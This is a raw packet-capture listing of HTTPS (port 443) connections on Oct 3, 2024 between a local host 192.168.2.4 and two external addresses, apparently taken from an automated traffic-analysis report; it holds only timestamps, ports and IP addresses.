Oct 3, 2024 10:42:01.585274935 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.585274935 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.585292101 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.585331917 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.585387945 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.594866991 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.594880104 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.594898939 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.594906092 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.594919920 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.594944954 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.594963074 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.594989061 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.594994068 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595010042 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.595515966 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595535994 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595562935 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595573902 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595580101 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595587969 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.595601082 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595618963 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.595626116 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.595665932 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.633846045 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.633892059 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.633922100 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.633940935 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.633955956 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.633964062 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.633989096 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.634006023 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.634234905 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.638029099 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.638051987 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.638072968 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.638149977 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.638149977 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.638165951 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.638217926 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.639652014 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.666941881 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.666992903 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.667085886 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.667085886 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.667109013 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.667356968 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.923320055 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923367977 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923377991 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923393011 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923408985 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923417091 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923446894 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.923450947 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923489094 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.923513889 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.923516989 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923577070 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.923593044 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.923598051 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.923770905 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924194098 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924194098 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924212933 CEST	443	50206	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.924428940 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.924462080 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.924495935 CEST	50206	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924508095 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.924514055 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924529076 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.924576044 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924587965 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.924602032 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924716949 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924777985 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.924854040 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.925003052 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.925548077 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.925590992 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.925626993 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.925635099 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.925687075 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.925760984 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.925843000 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.925857067 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.925942898 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.925950050 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.926018953 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.926963091 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.926994085 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927069902 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927103996 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927149057 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.927155972 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927189112 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.927197933 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927217960 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.927248955 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.927278042 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927323103 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927328110 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.927350998 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.927371979 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.927392960 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.928987980 CEST	50204	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.929006100 CEST	443	50204	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.929344893 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.929378033 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.929574966 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.929661989 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.929683924 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.929718971 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.929735899 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.929769039 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.929769039 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.930520058 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.930552006 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.930567980 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.930577040 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.930604935 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.930794001 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.933944941 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.933976889 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934067965 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.934087038 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934242010 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.934438944 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934484005 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.934487104 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934489012 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934519053 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934521914 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934551001 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.934566975 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934582949 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.934586048 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.934612036 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.934655905 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.935267925 CEST	50215	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.935286045 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.936331987 CEST	50203	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.936350107 CEST	443	50203	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.936517954 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.936556101 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.936755896 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.937038898 CEST	50205	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.937052965 CEST	443	50205	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.937571049 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.937598944 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.937973976 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.938020945 CEST	50207	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.938039064 CEST	443	50207	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.939308882 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.939341068 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:01.939861059 CEST	50217	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:01.939879894 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.069581032 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.069582939 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.069881916 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.069900036 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.070033073 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.070064068 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.071161032 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.071250916 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.071346998 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.071413040 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.071703911 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.071775913 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.072345018 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.072418928 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.072582960 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.072590113 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.072596073 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.072601080 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.073312044 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.073529959 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.073540926 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.073920012 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.074373007 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.074465990 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.074505091 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.075026989 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.075244904 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.075258970 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.075642109 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.075906992 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.075984001 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.076011896 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.077502012 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.077680111 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.077706099 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.078088045 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.078407049 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.078449965 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.078463078 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.078484058 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.115752935 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.115844965 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.115864038 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.119417906 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.131761074 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.147871971 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.147871971 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.344172001 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.345196962 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.350222111 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.350287914 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.350330114 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.350351095 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.350353003 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.350384951 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.350404978 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.350421906 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.350567102 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.350620031 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.350620031 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.350873947 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.350895882 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.350914955 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.350963116 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.350965977 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.350984097 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.350990057 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.351022959 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.351059914 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.351125002 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.351309061 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.351330996 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.351376057 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.351411104 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.351411104 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.351445913 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.351495981 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.351495981 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.357762098 CEST	50212	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.357795954 CEST	443	50212	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.366668940 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.366698027 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.366707087 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.366734028 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.366765022 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.366759062 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.366776943 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.366835117 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.366879940 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.366879940 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.367090940 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.463205099 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.463243008 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.463251114 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.463294029 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.463310957 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.463327885 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.463354111 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.463354111 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.463376999 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.463414907 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.463437080 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.507606030 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.507671118 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.507728100 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.507746935 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.507775068 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.507843971 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.518678904 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.518712044 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.518805027 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.518838882 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.520561934 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.544888973 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.544943094 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.545013905 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.545032978 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.545075893 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.545101881 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.549861908 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.549882889 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.549915075 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.550009966 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.550009966 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.550035000 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.550152063 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.554470062 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.554550886 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.554565907 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.554646969 CEST	443	50210	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.554699898 CEST	50210	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.568909883 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.568943977 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.569016933 CEST	443	50209	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.569020987 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.569098949 CEST	50209	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.578555107 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.578579903 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.578632116 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.578666925 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.578687906 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.578687906 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.578697920 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.578758955 CEST	443	50208	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.578802109 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.578802109 CEST	50208	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.579219103 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.579293013 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.579343081 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.579343081 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.579355001 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.579408884 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.580291986 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.580346107 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.580394983 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.580401897 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.580413103 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.580548048 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.580990076 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.581033945 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.581156969 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.581165075 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.581197977 CEST	443	50211	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:02.581408978 CEST	50211	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:02.727729082 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.741327047 CEST	443	50215	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.742552996 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.756254911 CEST	443	50217	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.771693945 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.772469997 CEST	50214	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.772495985 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.773788929 CEST	50216	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:02.773802996 CEST	443	50216	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.773852110 CEST	443	50214	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:02.774317026 CEST	50215	443	192.168.2.4	18.245.86.14
